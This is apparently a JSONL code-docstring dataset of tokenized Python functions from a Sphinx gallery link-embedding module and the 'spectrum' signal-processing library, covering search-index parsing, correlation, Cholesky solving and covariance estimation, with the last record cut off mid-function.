{"signature": "def get_data(url, gallery_dir):", "body": "<EOL>if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2> and isinstance(url, unicode):<EOL><INDENT>url = url.encode('<STR_LIT:utf-8>')<EOL><DEDENT>cached_file = os.path.join(gallery_dir, '<STR_LIT>')<EOL>search_index = shelve.open(cached_file)<EOL>if url in search_index:<EOL><INDENT>data = search_index[url]<EOL><DEDENT>else:<EOL><INDENT>data = _get_data(url)<EOL>search_index[url] = data<EOL><DEDENT>search_index.close()<EOL>return data<EOL>", "docstring": "Persistent dictionary usage to retrieve the search indexes", "id": "f10910:m1"}
{"signature": "def _select_block(str_in, start_tag, end_tag):", "body": "start_pos = str_in.find(start_tag)<EOL>if start_pos < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>depth = <NUM_LIT:0><EOL>for pos in range(start_pos, len(str_in)):<EOL><INDENT>if str_in[pos] == start_tag:<EOL><INDENT>depth += <NUM_LIT:1><EOL><DEDENT>elif str_in[pos] == end_tag:<EOL><INDENT>depth -= <NUM_LIT:1><EOL><DEDENT>if depth == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>sel = str_in[start_pos + <NUM_LIT:1>:pos]<EOL>return sel<EOL>", "docstring": "Select first block delimited by start_tag and end_tag", "id": "f10910:m2"}
{"signature": "def _parse_dict_recursive(dict_str):", "body": "dict_out = dict()<EOL>pos_last = <NUM_LIT:0><EOL>pos = dict_str.find('<STR_LIT::>')<EOL>while pos >= <NUM_LIT:0>:<EOL><INDENT>key = dict_str[pos_last:pos]<EOL>if dict_str[pos + <NUM_LIT:1>] == '<STR_LIT:[>':<EOL><INDENT>pos_tmp = dict_str.find('<STR_LIT:]>', pos + <NUM_LIT:1>)<EOL>if pos_tmp < <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>value = dict_str[pos + <NUM_LIT:2>: pos_tmp].split('<STR_LIT:U+002C>')<EOL>for i in range(len(value)):<EOL><INDENT>try:<EOL><INDENT>value[i] = int(value[i])<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>elif dict_str[pos + <NUM_LIT:1>] == '<STR_LIT:{>':<EOL><INDENT>subdict_str = _select_block(dict_str[pos:], '<STR_LIT:{>', '<STR_LIT:}>')<EOL>value = _parse_dict_recursive(subdict_str)<EOL>pos_tmp = pos + len(subdict_str)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>key = key.strip('<STR_LIT:\">')<EOL>if len(key) > <NUM_LIT:0>:<EOL><INDENT>dict_out[key] = value<EOL><DEDENT>pos_last = dict_str.find('<STR_LIT:U+002C>', pos_tmp)<EOL>if pos_last < <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>pos_last += <NUM_LIT:1><EOL>pos = dict_str.find('<STR_LIT::>', pos_last)<EOL><DEDENT>return dict_out<EOL>", "docstring": "Parse a dictionary from the search index", "id": "f10910:m3"}
{"signature": "def parse_sphinx_searchindex(searchindex):", "body": "<EOL>if hasattr(searchindex, '<STR_LIT>'):<EOL><INDENT>searchindex = searchindex.decode('<STR_LIT>')<EOL><DEDENT>query = '<STR_LIT>'<EOL>pos = searchindex.find(query)<EOL>if pos < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>sel = _select_block(searchindex[pos:], '<STR_LIT:{>', '<STR_LIT:}>')<EOL>objects = _parse_dict_recursive(sel)<EOL>query = '<STR_LIT>'<EOL>pos = searchindex.find(query)<EOL>if pos < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>filenames = searchindex[pos + len(query) + <NUM_LIT:1>:]<EOL>filenames = filenames[:filenames.find('<STR_LIT:]>')]<EOL>filenames = [f.strip('<STR_LIT:\">') for f in filenames.split('<STR_LIT:U+002C>')]<EOL>return filenames, objects<EOL>", "docstring": "Parse a Sphinx search index\n\n    Parameters\n    ----------\n    searchindex : str\n        The Sphinx search index (contents of searchindex.js)\n\n    Returns\n    -------\n    filenames : list of str\n        The file names parsed from the search index.\n    objects : dict\n        The objects parsed from the search index.", "id": "f10910:m4"}
{"signature": "def embed_code_links(app, exception):", "body": "if exception is not None:<EOL><INDENT>return<EOL><DEDENT>if not app.builder.config.plot_gallery:<EOL><INDENT>return<EOL><DEDENT>if app.builder.name not in ['<STR_LIT:html>', '<STR_LIT>']:<EOL><INDENT>return<EOL><DEDENT>print('<STR_LIT>')<EOL>gallery_conf = app.config.sphinx_gallery_conf<EOL>gallery_dirs = gallery_conf['<STR_LIT>']<EOL>if not isinstance(gallery_dirs, list):<EOL><INDENT>gallery_dirs = [gallery_dirs]<EOL><DEDENT>for gallery_dir in gallery_dirs:<EOL><INDENT>_embed_code_links(app, gallery_conf, gallery_dir)<EOL><DEDENT>", "docstring": "Embed hyperlinks to documentation into example code", "id": "f10910:m6"}
{"signature": "def _get_link(self, cobj):", "body": "fname_idx = None<EOL>full_name = cobj['<STR_LIT>'] + '<STR_LIT:.>' + cobj['<STR_LIT:name>']<EOL>if full_name in self._searchindex['<STR_LIT>']:<EOL><INDENT>value = self._searchindex['<STR_LIT>'][full_name]<EOL>if isinstance(value, dict):<EOL><INDENT>value = value[next(iter(value.keys()))]<EOL><DEDENT>fname_idx = value[<NUM_LIT:0>]<EOL><DEDENT>elif cobj['<STR_LIT>'] in self._searchindex['<STR_LIT>']:<EOL><INDENT>value = self._searchindex['<STR_LIT>'][cobj['<STR_LIT>']]<EOL>if cobj['<STR_LIT:name>'] in value.keys():<EOL><INDENT>fname_idx = value[cobj['<STR_LIT:name>']][<NUM_LIT:0>]<EOL><DEDENT><DEDENT>if fname_idx is not None:<EOL><INDENT>fname = self._searchindex['<STR_LIT>'][fname_idx] + '<STR_LIT>'<EOL>if self._is_windows:<EOL><INDENT>fname = fname.replace('<STR_LIT:/>', '<STR_LIT:\\\\>')<EOL>link = os.path.join(self.doc_url, fname)<EOL><DEDENT>else:<EOL><INDENT>link = posixpath.join(self.doc_url, fname)<EOL><DEDENT>if hasattr(link, '<STR_LIT>'):<EOL><INDENT>link = link.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL><DEDENT>if link in self._page_cache:<EOL><INDENT>html = self._page_cache[link]<EOL><DEDENT>else:<EOL><INDENT>html = get_data(link, self.gallery_dir)<EOL>self._page_cache[link] = html<EOL><DEDENT>comb_names = [cobj['<STR_LIT>'] + '<STR_LIT:.>' + cobj['<STR_LIT:name>']]<EOL>if self.extra_modules_test is not None:<EOL><INDENT>for mod in self.extra_modules_test:<EOL><INDENT>comb_names.append(mod + '<STR_LIT:.>' + cobj['<STR_LIT:name>'])<EOL><DEDENT><DEDENT>url = False<EOL>if hasattr(html, '<STR_LIT>'):<EOL><INDENT>html = html.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL><DEDENT>for comb_name in comb_names:<EOL><INDENT>if hasattr(comb_name, '<STR_LIT>'):<EOL><INDENT>comb_name = comb_name.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL><DEDENT>if comb_name in html:<EOL><INDENT>url = link + u'<STR_LIT:#>' + comb_name<EOL><DEDENT><DEDENT>link = url<EOL><DEDENT>else:<EOL><INDENT>link = False<EOL><DEDENT>return link<EOL>", "docstring": "Get a valid link, False if not found", "id": "f10910:c0:m1"}
{"signature": "def resolve(self, cobj, this_url):", "body": "full_name = cobj['<STR_LIT>'] + '<STR_LIT:.>' + cobj['<STR_LIT:name>']<EOL>link = self._link_cache.get(full_name, None)<EOL>if link is None:<EOL><INDENT>link = self._get_link(cobj)<EOL>self._link_cache[full_name] = link<EOL><DEDENT>if link is False or link is None:<EOL><INDENT>return None<EOL><DEDENT>if self.relative:<EOL><INDENT>link = os.path.relpath(link, start=this_url)<EOL>if self._is_windows:<EOL><INDENT>link = link.replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL><DEDENT>link = link[<NUM_LIT:3>:]<EOL><DEDENT>return link<EOL>", "docstring": "Resolve the link to the documentation, returns None if not found\n\n        Parameters\n        ----------\n        cobj : dict\n            Dict with information about the \"code object\" for which we are\n            resolving a link.\n            cobi['name'] : function or class name (str)\n            cobj['module_short'] : shortened module name (str)\n            cobj['module'] : module name (str)\n        this_url: str\n            URL of the current page. Needed to construct relative URLs\n            (only used if relative=True in constructor).\n\n        Returns\n        -------\n        link : str | None\n            The link (URL) to the documentation.", "id": "f10910:c0:m2"}
{"signature": "def pascal(n):", "body": "errors.is_positive_integer(n)<EOL>result = numpy.zeros((n, n))<EOL>for i in range(<NUM_LIT:0>, n):<EOL><INDENT>result[i, <NUM_LIT:0>] = <NUM_LIT:1><EOL>result[<NUM_LIT:0>, i] = <NUM_LIT:1><EOL><DEDENT>if n > <NUM_LIT:1>:<EOL><INDENT>for i in range(<NUM_LIT:1>, n):<EOL><INDENT>for j in range(<NUM_LIT:1>, n):<EOL><INDENT>result[i, j] = result[i-<NUM_LIT:1>, j] + result[i, j-<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Return Pascal matrix\n\n    :param int n: size of the matrix\n\n    .. doctest::\n\n        >>> from spectrum import pascal\n        >>> pascal(6)\n        array([[   1.,    1.,    1.,    1.,    1.,    1.],\n               [   1.,    2.,    3.,    4.,    5.,    6.],\n               [   1.,    3.,    6.,   10.,   15.,   21.],\n               [   1.,    4.,   10.,   20.,   35.,   56.],\n               [   1.,    5.,   15.,   35.,   70.,  126.],\n               [   1.,    6.,   21.,   56.,  126.,  252.]])\n\n    .. todo:: use the symmetric property to improve computational time if needed", "id": "f10916:m0"}
{"signature": "def corrmtx(x_input, m, method='<STR_LIT>'):", "body": "valid_methods = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>']<EOL>if method not in valid_methods:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % valid_methods)<EOL><DEDENT>from scipy.linalg import toeplitz<EOL>N = len(x_input)<EOL>if isinstance(x_input, list):<EOL><INDENT>x = numpy.array(x_input)<EOL><DEDENT>else:<EOL><INDENT>x = x_input.copy()<EOL><DEDENT>if x.dtype == complex:<EOL><INDENT>complex_type = True<EOL><DEDENT>else:<EOL><INDENT>complex_type = False<EOL><DEDENT>if method in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>Lp = toeplitz(x[<NUM_LIT:0>:m], [<NUM_LIT:0>]*(m+<NUM_LIT:1>))<EOL><DEDENT>Tp = toeplitz(x[m:N], x[m::-<NUM_LIT:1>])<EOL>if method in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>Up = toeplitz([<NUM_LIT:0>]*(m+<NUM_LIT:1>), numpy.insert(x[N:N-m-<NUM_LIT:1>:-<NUM_LIT:1>],<NUM_LIT:0>,<NUM_LIT:0>))<EOL><DEDENT>if method == '<STR_LIT>':<EOL><INDENT>if complex_type == True:<EOL><INDENT>C = numpy.zeros((N+m, m+<NUM_LIT:1>), dtype=complex)<EOL><DEDENT>else:<EOL><INDENT>C = numpy.zeros((N+m, m+<NUM_LIT:1>))<EOL><DEDENT>for i in range(<NUM_LIT:0>, m):<EOL><INDENT>C[i] = Lp[i]<EOL><DEDENT>for i in range(m, N):<EOL><INDENT>C[i] = Tp[i-m]<EOL><DEDENT>for i in range(N, N+m):<EOL><INDENT>C[i] = Up[i-N]<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if complex_type == True:<EOL><INDENT>C = numpy.zeros((N, m+<NUM_LIT:1>), dtype=complex)<EOL><DEDENT>else:<EOL><INDENT>C = numpy.zeros((N, m+<NUM_LIT:1>))<EOL><DEDENT>for i in range(<NUM_LIT:0>, m):<EOL><INDENT>C[i] = Lp[i]<EOL><DEDENT>for i in range(m, N):<EOL><INDENT>C[i] = Tp[i-m]<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if complex_type == True:<EOL><INDENT>C = numpy.zeros((N, m+<NUM_LIT:1>), dtype=complex)<EOL><DEDENT>else:<EOL><INDENT>C = numpy.zeros((N, m+<NUM_LIT:1>))<EOL><DEDENT>for i in range(<NUM_LIT:0>, N-m):<EOL><INDENT>C[i] = Tp[i]<EOL><DEDENT>for i in range(N-m, N):<EOL><INDENT>C[i] = Up[i-N+m]<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>return Tp<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if complex_type == True:<EOL><INDENT>C = numpy.zeros((<NUM_LIT:2>*(N-m), m+<NUM_LIT:1>), dtype=complex)<EOL><DEDENT>else:<EOL><INDENT>C = numpy.zeros((<NUM_LIT:2>*(N-m), m+<NUM_LIT:1>))<EOL><DEDENT>for i in range(<NUM_LIT:0>, N-m):<EOL><INDENT>C[i] = Tp[i]<EOL><DEDENT>Tp = numpy.fliplr(Tp.conj())<EOL>for i in range(N-m, <NUM_LIT:2>*(N-m)):<EOL><INDENT>C[i] = Tp[i-N+m]<EOL><DEDENT><DEDENT>return C<EOL>", "docstring": "r\"\"\"Correlation matrix\n\n    This function is used by PSD estimator functions. It generates\n    the correlation matrix from a correlation data set and a maximum lag.\n\n    :param array x: autocorrelation samples (1D)\n    :param int m: the maximum lag\n\n    Depending on the choice of the method, the correlation matrix has different\n    sizes, but the number of rows is always m+1.\n\n    Method can be :\n\n    * 'autocorrelation': (default) X is the (n+m)-by-(m+1) rectangular Toeplitz\n      matrix derived using prewindowed and postwindowed data.\n    * 'prewindowed': X is the n-by-(m+1) rectangular Toeplitz matrix derived\n      using prewindowed data only.\n    * 'postwindowed': X is the n-by-(m+1) rectangular Toeplitz matrix that\n      derived using postwindowed data only.\n    * 'covariance': X is the (n-m)-by-(m+1) rectangular Toeplitz matrix\n      derived using nonwindowed data.\n    * 'modified': X is the 2(n-m)-by-(m+1) modified rectangular Toeplitz\n      matrix that generates an autocorrelation estimate for the length n data\n      vector x, derived using forward and backward prediction error estimates.\n\n\n    :return:\n        * the autocorrelation matrix\n        * R, the (m+1)-by-(m+1) autocorrelation matrix estimate ``R= X'*X``.\n\n    .. rubric:: Algorithm details:\n\n    The **autocorrelation** matrix is a :math:`(N+p) \\times (p+1)` rectangular Toeplilz\n    data matrix:\n\n    .. math:: X_p = \\begin{pmatrix}L_p\\\\T_p\\\\Up\\end{pmatrix}\n\n    where the lower triangular :math:`p \\times (p+1)` matrix :math:`L_p` is\n\n    .. math:: L_p =\n        \\begin{pmatrix}\n        x[1]     &  \\cdots     & 0     & 0        \\\\\n        \\vdots    &  \\ddots     & \\vdots & \\vdots    \\\\\n        x[p]     &  \\cdots     & x[1]  & 0\n        \\end{pmatrix}\n\n    where the rectangular :math:`(N-p) \\times (p+1)` matrix :math:`T_p` is\n\n    .. math:: T_p =\n        \\begin{pmatrix}\n        x[p+1]     &  \\cdots    & x[1]        \\\\\n        \\vdots    &  \\ddots     & \\vdots    \\\\\n        x[N-p]     &  \\cdots    & x[p+1]        \\\\\n        \\vdots    &  \\ddots     & \\vdots    \\\\\n        x[N]     &  \\cdots      & x[N-p]\n        \\end{pmatrix}\n\n    and where the upper triangular :math:`p \\times (p+1)` matrix :math:`U_p` is\n\n    .. math:: U_p =\n        \\begin{pmatrix}\n        0         &  x[N]      & \\cdots     & x[N-p+1]        \\\\\n        \\vdots    &  \\vdots    & \\ddots & \\vdots    \\\\\n        0         &  0         & \\cdots  & x[N]\n        \\end{pmatrix}\n\n    From this definition, the prewindowed matrix is\n\n    .. math:: X_p = \\begin{pmatrix}L_p\\\\T_p\\end{pmatrix}\n\n    the postwindowed matrix is\n\n    .. math:: X_p = \\begin{pmatrix}T_p\\\\U_p\\end{pmatrix}\n\n    the covariance matrix is:\n\n    .. math:: X_p = \\begin{pmatrix}T_p\\end{pmatrix}\n\n    and the modified covariance matrix is:\n\n    .. math:: X_p = \\begin{pmatrix}T_p\\\\T_p^*\\end{pmatrix}", "id": "f10916:m1"}
{"signature": "def csvd(A):", "body": "U, S, V = numpy.linalg.svd(A)<EOL>return U, S, V<EOL>", "docstring": "SVD decomposition using numpy.linalg.svd\n\n    :param A: a M by N matrix\n\n    :return:\n        * U, a M by M matrix\n        * S the N eigen values\n        * V a N by N matrix\n\n    See :func:`numpy.linalg.svd` for a detailed documentation.\n\n    Should return the same as in [Marple]_ , CSVD routine.\n\n    ::\n\n        U, S, V = numpy.linalg.svd(A)\n        U, S, V = cvsd(A)", "id": "f10916:m2"}
{"signature": "def pylab_rms_flat(a):", "body": "return np.sqrt(np.mean(np.absolute(a) ** <NUM_LIT:2>))<EOL>", "docstring": "Return the root mean square of all the elements of *a*, flattened out.\n(Copied 1:1 from matplotlib.mlab.)", "id": "f10917:m0"}
{"signature": "def CORRELATION(x, y=None, maxlags=None, norm='<STR_LIT>'):", "body": "assert norm in ['<STR_LIT>','<STR_LIT>', '<STR_LIT>', None]<EOL>x = np.array(x)<EOL>if y is None:<EOL><INDENT>y = x<EOL><DEDENT>else:<EOL><INDENT>y = np.array(y)<EOL><DEDENT>N = max(len(x), len(y))<EOL>if len(x) < N:<EOL><INDENT>x = y.copy()<EOL>x.resize(N)<EOL><DEDENT>if len(y) < N:<EOL><INDENT>y = y.copy()<EOL>y.resize(N)<EOL><DEDENT>if maxlags is None:<EOL><INDENT>maxlags = N - <NUM_LIT:1><EOL><DEDENT>assert maxlags < N, '<STR_LIT>'<EOL>realdata = np.isrealobj(x) and np.isrealobj(y)<EOL>if realdata == True:<EOL><INDENT>r = np.zeros(maxlags, dtype=float)<EOL><DEDENT>else:<EOL><INDENT>r = np.zeros(maxlags, dtype=complex)<EOL><DEDENT>if norm == '<STR_LIT>':<EOL><INDENT>rmsx = pylab_rms_flat(x)<EOL>rmsy = pylab_rms_flat(y)<EOL><DEDENT>for k in range(<NUM_LIT:0>, maxlags+<NUM_LIT:1>):<EOL><INDENT>nk = N - k - <NUM_LIT:1><EOL>if realdata == True:<EOL><INDENT>sum = <NUM_LIT:0><EOL>for j in range(<NUM_LIT:0>, nk+<NUM_LIT:1>):<EOL><INDENT>sum = sum + x[j+k] * y[j]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sum = <NUM_LIT:0.> + <NUM_LIT><EOL>for j in range(<NUM_LIT:0>, nk+<NUM_LIT:1>):<EOL><INDENT>sum = sum + x[j+k] * y[j].conjugate()<EOL><DEDENT><DEDENT>if k == <NUM_LIT:0>:<EOL><INDENT>if norm in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>r0 = sum/float(N)<EOL><DEDENT>elif norm is None:<EOL><INDENT>r0 = sum<EOL><DEDENT>else:<EOL><INDENT>r0 =  <NUM_LIT:1.><EOL><DEDENT><DEDENT>else:<EOL><INDENT>if norm == '<STR_LIT>':<EOL><INDENT>r[k-<NUM_LIT:1>] = sum / float(N-k)<EOL><DEDENT>elif norm == '<STR_LIT>':<EOL><INDENT>r[k-<NUM_LIT:1>] = sum / float(N)<EOL><DEDENT>elif norm is None:<EOL><INDENT>r[k-<NUM_LIT:1>] = sum<EOL><DEDENT>elif norm == '<STR_LIT>':<EOL><INDENT>r[k-<NUM_LIT:1>] =  sum/(rmsx*rmsy)/float(N)<EOL><DEDENT><DEDENT><DEDENT>r = np.insert(r, <NUM_LIT:0>, r0)<EOL>return r<EOL>", "docstring": "r\"\"\"Correlation function\n\n    This function should give the same results as :func:`xcorr` but it\n    returns the positive lags only. Moreover the algorithm does not use\n    FFT as compared to other algorithms.\n\n    :param array x: first data array of length N\n    :param array y: second data array of length N. If not specified, computes the\n        autocorrelation.\n    :param int maxlags: compute cross correlation between [0:maxlags]\n        when maxlags is not specified, the range of lags is [0:maxlags].\n    :param str norm: normalisation in ['biased', 'unbiased', None, 'coeff']\n\n        * *biased*   correlation=raw/N,\n        * *unbiased* correlation=raw/(N-`|lag|`)\n        * *coeff*    correlation=raw/(rms(x).rms(y))/N\n        * None       correlation=raw\n\n    :return:\n        * a numpy.array correlation sequence,  r[1,N]\n        * a float for the zero-lag correlation,  r[0]\n\n    The *unbiased* correlation has the form:\n\n    .. math::\n\n        \\hat{r}_{xx} = \\frac{1}{N-m}T \\sum_{n=0}^{N-m-1} x[n+m]x^*[n] T\n\n    The *biased* correlation differs by the front factor only:\n\n    .. math::\n\n        \\check{r}_{xx} = \\frac{1}{N}T \\sum_{n=0}^{N-m-1} x[n+m]x^*[n] T\n\n    with :math:`0\\leq m\\leq N-1`.\n\n    .. doctest::\n\n        >>> from spectrum import CORRELATION\n        >>> x = [1,2,3,4,5]\n        >>> res = CORRELATION(x,x, maxlags=0, norm='biased')\n        >>> res[0]\n        11.0\n\n    .. note:: this function should be replaced by :func:`xcorr`.\n\n    .. seealso:: :func:`xcorr`", "id": "f10917:m1"}
{"signature": "def xcorr(x, y=None, maxlags=None, norm='<STR_LIT>'):", "body": "N = len(x)<EOL>if y is None:<EOL><INDENT>y = x<EOL><DEDENT>assert len(x) == len(y), '<STR_LIT>'<EOL>if maxlags is None:<EOL><INDENT>maxlags = N-<NUM_LIT:1><EOL>lags = np.arange(<NUM_LIT:0>, <NUM_LIT:2>*N-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>assert maxlags <= N, '<STR_LIT>'<EOL>lags = np.arange(N-maxlags-<NUM_LIT:1>, N+maxlags)<EOL><DEDENT>res = np.correlate(x, y, mode='<STR_LIT>')<EOL>if norm == '<STR_LIT>':<EOL><INDENT>Nf = float(N)<EOL>res = res[lags] / float(N)    <EOL><DEDENT>elif norm == '<STR_LIT>':<EOL><INDENT>res = res[lags] / (float(N)-abs(np.arange(-N+<NUM_LIT:1>, N)))[lags]<EOL><DEDENT>elif norm == '<STR_LIT>':<EOL><INDENT>Nf = float(N)<EOL>rms = pylab_rms_flat(x) * pylab_rms_flat(y)<EOL>res = res[lags] / rms / Nf<EOL><DEDENT>else:<EOL><INDENT>res = res[lags]<EOL><DEDENT>lags = np.arange(-maxlags, maxlags+<NUM_LIT:1>)<EOL>return res, lags<EOL>", "docstring": "Cross-correlation using numpy.correlate\n\n    Estimates the cross-correlation (and autocorrelation) sequence of a random\n    process of length N. By default, there is no normalisation and the output\n    sequence of the cross-correlation has a length 2*N+1.\n\n    :param array x: first data array of length N\n    :param array y: second data array of length N. If not specified, computes the\n        autocorrelation.\n    :param int maxlags: compute cross correlation between [-maxlags:maxlags]\n        when maxlags is not specified, the range of lags is [-N+1:N-1].\n    :param str option: normalisation in ['biased', 'unbiased', None, 'coeff']\n\n    The true cross-correlation sequence is\n\n    .. math:: r_{xy}[m] = E(x[n+m].y^*[n]) = E(x[n].y^*[n-m])\n\n    However, in practice, only a finite segment of one realization of the\n    infinite-length random process is available.\n\n    The correlation is estimated using numpy.correlate(x,y,'full').\n    Normalisation is handled by this function using the following cases:\n\n        * 'biased': Biased estimate of the cross-correlation function\n        * 'unbiased': Unbiased estimate of the cross-correlation function\n        * 'coeff': Normalizes the sequence so the autocorrelations at zero\n           lag is 1.0.\n\n    :return:\n        * a numpy.array containing the cross-correlation sequence (length 2*N-1)\n        * lags vector\n\n    .. note:: If x and y are not the same length, the shorter vector is\n        zero-padded to the length of the longer vector.\n\n    .. rubric:: Examples\n\n    .. doctest::\n\n        >>> from spectrum import xcorr\n        >>> x = [1,2,3,4,5]\n        >>> c, l = xcorr(x,x, maxlags=0, norm='biased')\n        >>> c\n        array([ 11.])\n\n    .. seealso:: :func:`CORRELATION`.", "id": "f10917:m2"}
{"signature": "def _numpy_cholesky(A, B):", "body": "L = numpy.linalg.cholesky(A)<EOL>y = numpy.linalg.solve(L,B)<EOL>x = numpy.linalg.solve(L.transpose().conjugate(),y)<EOL>return x, L<EOL>", "docstring": "Solve Ax=B using numpy cholesky solver\n\n    A = LU\n\n    in the case where A is square and Hermitian, A = L.L* where L* is\n    transpoed and conjugate matrix\n\n    Ly = b\n\n    where\n\n    Ux=y\n\n    so x = U^{-1} y\n    where U = L*\n    and y = L^{-1} B", "id": "f10918:m0"}
{"signature": "def _numpy_solver(A, B):", "body": "x = numpy.linalg.solve(A, B)<EOL>return x<EOL>", "docstring": "This function solve Ax=B directly without taking care of the input\n    matrix properties.", "id": "f10918:m1"}
{"signature": "def CHOLESKY(A, B, method='<STR_LIT>'):", "body": "if method == '<STR_LIT>':<EOL><INDENT>X = _numpy_solver(A,B)<EOL>return X<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>X, _L = _numpy_cholesky(A, B)<EOL>return X<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>import scipy.linalg<EOL>L = scipy.linalg.cholesky(A)<EOL>X = scipy.linalg.cho_solve((L, False), B)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return X<EOL>", "docstring": "Solve linear system `AX=B` using CHOLESKY method.\n\n    :param A: an input Hermitian matrix\n    :param B: an array\n    :param str method: a choice of method in [numpy, scipy, numpy_solver]\n\n        * `numpy_solver` relies entirely on numpy.solver (no cholesky decomposition)\n        * `numpy` relies on the numpy.linalg.cholesky for the decomposition and\n          numpy.linalg.solve for the inversion.\n        * `scipy` uses scipy.linalg.cholesky for the decomposition and\n          scipy.linalg.cho_solve for the inversion.\n\n    .. rubric:: Description\n\n    When a matrix is square and Hermitian (symmetric with lower part being\n    the complex conjugate of the upper one), then the usual triangular\n    factorization takes on the special form:\n\n    .. math:: A = R R^H\n\n    where :math:`R` is a lower triangular matrix with nonzero real principal\n    diagonal element. The input matrix can be made of complex data. Then, the\n    inversion to find :math:`x` is made as follows:\n\n    .. math::  Ry = B\n\n    and\n\n    .. math::   Rx = y\n\n    .. doctest::\n\n        >>> import numpy\n        >>> from spectrum import CHOLESKY\n        >>> A = numpy.array([[ 2.0+0.j ,  0.5-0.5j, -0.2+0.1j],\n        ...    [ 0.5+0.5j,  1.0+0.j ,  0.3-0.2j],\n        ...    [-0.2-0.1j,  0.3+0.2j,  0.5+0.j ]])\n        >>> B = numpy.array([ 1.0+3.j ,  2.0-1.j ,  0.5+0.8j])\n        >>> CHOLESKY(A, B)\n        array([ 0.95945946+5.25675676j,  4.41891892-7.04054054j,\n               -5.13513514+6.35135135j])", "id": "f10918:m2"}
{"signature": "def modcovar_marple (X,IP):", "body": "Pv = []<EOL>N = len(X)<EOL>A = np.zeros(N, dtype=complex)<EOL>D = np.zeros(N, dtype=complex)<EOL>C = np.zeros(N, dtype=complex)<EOL>R = np.zeros(N, dtype=complex)<EOL>R1=<NUM_LIT:0.><EOL>for K in range(<NUM_LIT:1>, N-<NUM_LIT:1>):<EOL><INDENT>R1=R1 + <NUM_LIT>*(X[K].real**<NUM_LIT:2> + X[K].imag**<NUM_LIT:2>)<EOL><DEDENT>R2 = X[<NUM_LIT:0>].real**<NUM_LIT:2> + X[<NUM_LIT:0>].imag**<NUM_LIT:2><EOL>R3 = X[N-<NUM_LIT:1>].real**<NUM_LIT:2> + X[N-<NUM_LIT:1>].imag**<NUM_LIT:2><EOL>R4 = <NUM_LIT:1.> / (R1 + <NUM_LIT> * (R2 + R3))<EOL>P = R1 + R2 + R3<EOL>DELTA = <NUM_LIT:1.> - R2 * R4<EOL>GAMMA = <NUM_LIT:1.> - R3 * R4<EOL>LAMBDA = (X[<NUM_LIT:0>] * X[N-<NUM_LIT:1>]).conjugate()*R4<EOL>C[<NUM_LIT:0>] = X[N-<NUM_LIT:1>] * R4<EOL>D[<NUM_LIT:0>] = X[<NUM_LIT:0>].conjugate() * R4<EOL>M = <NUM_LIT:0><EOL>if (IP ==<NUM_LIT:0>):<EOL><INDENT>P = (<NUM_LIT>*R1+R2+R3)/float(N)<EOL>return [], P, []<EOL><DEDENT>for M in range(<NUM_LIT:0>, IP):<EOL><INDENT>SAVE1 = <NUM_LIT:0>+<NUM_LIT><EOL>for K in range(M+<NUM_LIT:1>, N):<EOL><INDENT>SAVE1 = SAVE1 + X[K]*X[K-M-<NUM_LIT:1>].conjugate()<EOL><DEDENT>SAVE1 *= <NUM_LIT><EOL>R[M] = SAVE1.conjugate()<EOL>THETA = X[N-<NUM_LIT:1>]*D[<NUM_LIT:0>]<EOL>PSI=X[N-<NUM_LIT:1>]*C[<NUM_LIT:0>]<EOL>XI = X[<NUM_LIT:0>].conjugate() * D[<NUM_LIT:0>]<EOL>if M==<NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for K in range(<NUM_LIT:0>, M):<EOL><INDENT>THETA=THETA+X[N-K-<NUM_LIT:2>]*D[K+<NUM_LIT:1>]    <EOL>PSI = PSI + X[N-K-<NUM_LIT:2>]*C[K+<NUM_LIT:1>]    <EOL>XI = XI + X[K+<NUM_LIT:1>].conjugate() * D[K+<NUM_LIT:1>] <EOL>R[K] = R[K]-X[N-M-<NUM_LIT:1>] * X[N+<NUM_LIT:1>-M+K-<NUM_LIT:1>].conjugate() - X[M].conjugate() * X[M-K-<NUM_LIT:1>] <EOL>SAVE1=SAVE1+R[K].conjugate()*A[M-K-<NUM_LIT:1>]             <EOL><DEDENT><DEDENT>C1 = -SAVE1/P<EOL>A[M]=C1                                   <EOL>P=P*(<NUM_LIT:1.>-C1.real**<NUM_LIT:2>-C1.imag**<NUM_LIT:2>)            <EOL>if M==<NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>for K in range(<NUM_LIT:0>, (M+<NUM_LIT:1>)//<NUM_LIT:2>):<EOL><INDENT>MK = M-K-<NUM_LIT:1><EOL>SAVE1=A[K]<EOL>A[K]=SAVE1+C1*A[MK].conjugate() <EOL>if (K != 